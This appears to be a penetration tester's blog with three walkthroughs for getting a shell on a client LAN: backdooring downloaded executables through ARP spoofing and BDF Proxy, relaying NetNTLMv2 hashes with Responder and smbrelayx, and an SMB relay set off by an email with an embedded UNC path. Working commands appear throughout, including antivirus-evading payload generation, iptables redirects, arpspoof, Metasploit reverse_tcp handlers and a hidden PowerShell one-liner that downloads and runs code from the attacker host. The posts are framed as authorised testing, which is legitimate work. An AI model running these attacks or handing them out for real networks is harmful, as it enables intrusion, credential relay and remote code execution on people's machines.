Backdooring EXEs (on the fly) over HTTP/S on the LAN

Scenario: During an engagement, we are plugged directly into the client’s LAN with only basic network access. On this LAN there are a number of workstations – for example.

Objective: Get a shell on a host.

Required Items:

First, we need to create a executable that is not (hopefully) going to be picked up antivirus. Obviously, this is easier said than done; however, we will use Veil-Evasion 3.0 on our Kali box for this task. See below:

veil1veil2veil3veil4veil5veil6

We need to remember the location of our executable (listed above in green) because we will need that file in a minute. (/usr/share/veil-output/compiled/google_updater.exe). Now would also be a good time to run/test your executable on a few systems to make sure that it’s not detected by the antivirus software on the client network (if known). In this instance , this particular executable is not detected by Windows Defender:

windows defender

Assuming BDF Proxy is properly installed (not covered here), we need to adjust the bdfproxy.cfg file to read as such after installation:

bdfproxy1.PNG

There are lots of other options for different architecture types (and other settings in general). I’m only showing x86 inside of one particular scenario. You may need to adjust the config file based on your needs/wants.

We can now start up BDF Proxy:

bdfproxy2

We also need to add the following two iptables rules on our Kali box:

iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 443 -j REDIRECT –to-port 8080

iptables.PNG

After we MiTM our victim (using arp spoofing) the iptables rules will effectively proxy tcp/80 and tcp/443 traffic over to BDF Proxy – which will handle the backdooring of the executable being downloaded.

Before we MiTM our victim (we’ll save that for the last step), we need to get our meterpreter handler setup. This is being done on a public AWS instance with metasploit-framework installed; however, one could do easily do host metasploit internally on the client’s LAN as well. Just remember that the LHOST specified in Veil (screenshot #4) is where our payload will call back to. In our case, we specified: aws.shellgam3.com. If your trying to catch shells across the Internet, remember you probably need to adjust NAT rules on your public side as well. In this case, we had to add a NAT rule for tcp/4444 to be directed/allowed to our AWS box.

We will run the following command to fire up metasploit framework and our handler:

msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 172.31.18.189; set LPORT 4444; set exitonsession false; exploit -j”

metasploit

With our handler running, we can now move forward with arp poisoning our victim on the LAN. Once the MiTM is in place, any executable downloaded by our victim will be replaced with our executable – yet the executable will retain the same name of the file being downloaded.

We’ll need to open up two different terminal windows and run the following commands to setup the MiTM: In this case 192.168.22.91 = victim IP and 192.168.22.1 = router IP:

arpspoof -i eth0 -t 192.168.22.91 192.168.22.1

arpspoof -i eth0 -t 192.168.22.1 192.168.22.91

Now, when our victim downloads an executable, most everything should look normal:

download of exe.PNG

However, on the backend (on our Kali box), we should notice a few things happening. In BDF Proxy, for example, we see that the victim’s executable is being replaced with our executable:

bdfproxy3.PNG

And if/when the victim runs the executable, we should (hopefully) have our meterpreter shell on our C2 box:

shell.PNG

It should be noted that when our victim attempts to download an executable over https, they *will* receive a nasty certificate error. However, as long as the website does not have HSTS enabled, then the victim may opt to click past the certificate warning and download their file.

Advertisements

Relaying NetNTLMv2 hashes into a meterpreter shell

Similar to the previous post, in this scenario we also have limited physical access on a client’s network. We have been provided with an empty cubicle and only the ability to plug our box into the network. We have been granted no logical access and the goal is to see if take our limited physical access, gain an initial foothold within the network, and ultimately attempt to escalate our privileges throughout the environment.

The tools we’ll be using are:

With an SMB relay attack, the attacker inserts himself into the middle of the NTLM challenge/response handshake with the intent of taking that authentication and “relaying” it to another host on the same network. The attacker will choose a target on the LAN and then wait for a workstation on the network to authenticate to the attacker machine. When a connection is made, the attacker passes the authentication attempt (the NTLM handshake) to the target/victim. This is the relay. The target generates a challenge and sends it back to the attacker. The attacker sends the challenge back to the original system. This is the response. That system encrypts the hash with the correct password hash and sends it to the attacker. The attacker passes the correctly encrypted response back to his target and successfully authenticates. This process is shown below:

smbrelaypic.png

First we need to do some reconnaissance and discover some hosts on our subnet. This can be done with nbtscan or other tools (like fping or nmap). Our target will be 192.168.22.72

1.png

Before we attempt to pass NetNTLMv2 hashes around the network, we first need to setup our meterpreter listener and chose an exploit and payload in Metasploit.

2

In short, we need populate many of the “options”. Most of this should be self explanatory:

  • use exploit/multi/script/web_delivery
  • set TARGET 2 (this is to indicate the powershell payload)
  • set URIPATH /
  • set PAYLOAD windows/meterpreter/reverse_tcp
  • set LHOST <local kali ip> (you can snag this with ifconfig)
  • exploit

3

Now that our listener is running and waiting to receive connections, we would normally need our victim(s) to run the following command on their workstation: powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.22.63:8080/&#8217;)

If the victim were to do this, we would have a meterpreter shell to play with. Since this is not very likely to happen without some form of social engineering, we want to leverage our other two tools (Responder and SMBRelayX) to handle SMB relaying and execution of our payload on our target/victim machine.

On our Kali box, we run the following command: ./smbrelayx.py -h 192.168.22.72 -c “powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.22.63:8080/&#8217;)”

4.PNG

SMBRelayX will help us by establishing a malicious SMB server so that we can relay network authentication attempts from legitimate users to our target – which is specified with the “-h” parameter. We can also see our payload defined above as well.

Secondly, we can now fire up Responder. Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of nearly all Microsoft Windows networks. LLMNR and NBT-NS allow Windows operating systems on the same subnet help each other identify hosts if/when DNS resolution fails. If DNS resolution fails for a particular host, that computer will typically attempt to query other machines on the LAN for the correct address via LLMNR or NBT-NS.

5.PNG

The errors are normal. SMBRelayX is already listening on ports 445 and 80 – so Responder cannot bind to those ports. For this exercise to be effective, SMBRelayX needs to be started before Responder so that it can utilize 445 and 80.

After some time, we should (hopefully) see some incoming connections in both the Responder window and in our SMBRelayX window. See below:

Responder Window:

7.PNG

SMBRelayX Window:

6.PNG

When we see start to see this type of activity, it should be an indicator that we also have a shell back in Metasploit…which we do:

8

SMB Relay Attack

Outlined below is one method of carrying out a NTLMv1 SMB relay attack for the purposes of obtaining a meterpreter shell on our target. For this type of attack to work, we have to insert ourselves into the NTLM challenge/response process. More on that in a minute.

First, we need to understand how NTLM challenge/response works in a basic way. When a client first attempts to connect a network share (for example), the server responds back asking the client who is making the request to encrypt some random data using the user’s password hash. This is the “challenge”.  The client encrypts the data as requested and sends it back.  This is the response. If the server is successful in decrypting the data and it matches the random data using the password hash which is/was already stored on the server, then the user is considered to be authenticated.

Using Metasploit Framework, we can create a listening SMB service and automate much of the process of inserting ourselves into the middle of the NTLM challenge/response process.

Metasploit box: 172.17.130.81
Domain Admin Workstation: 172.17.130.33
Target Server: 172.17.130.75

Our goal in this scenario is to get a shell on 172.17.130.75.

To do this, we first need to “convince” our victim (172.17.130.33) to make a connection to our Metasploit box (172.17.130.81).  To accomplish that piece, we are going to embed a UNC path referencing our Metasploit box in an email message, which will then cause the victim’s computer to carry out the NTLM challenge/response process mentioned above…however, our Metasploit box is going to relay the information to our Target (172.17.130.75) in hopes of getting a shell on the Target box.

To start, we need to fire up Metasploit Framework and load the SMB Relay mode.  This can be achieved with the following one-liner:

msfconsole -x “use windows/smb/smb_relay; set payload windows/meterpreter/reverse_tcp; set LHOST 172.17.130.81;set SMBHOST 172.17.130.75; set SRVHOST 172.17.130.81; run”

Capture1

We now need to send an email to our victim with an embedded reference to our Metasploit box which Outlook will (hopefully) automatically load for us.  To achieve this (and there may be a better way), I created a file named temp.html and typed up the following HTML code:

<html>
<head>
<img src=”\\172.17.130.81\test.jpg”></img>
</head>
</html>

After saving it, I re-opened the file using Word (2016).  I hit control-a (select all) and pasted the entire contents into an new email message (Outlook 2016), typed up a generic message to the victim, and then hit send. Below is a copy of the message that was opened on the Domain Admin’s workstation within Outlook (2016) on 172.17.130.33.

Capture8

As soon as the message is opened, the normal NTLM challenge/response process is kicked off; however, in the background, our Metasploit box is relaying the challenege/response to 172.17.130.75.  We now have our meterpreter session on 172.17.130.75.

Capture4

If we look in the Windows Event Logs on 172.17.130.75, we can see the suspicious activity and the payload being delivered and executed.

Capture5Capture6Capture7

And finally our meterpreter shell:

Capture9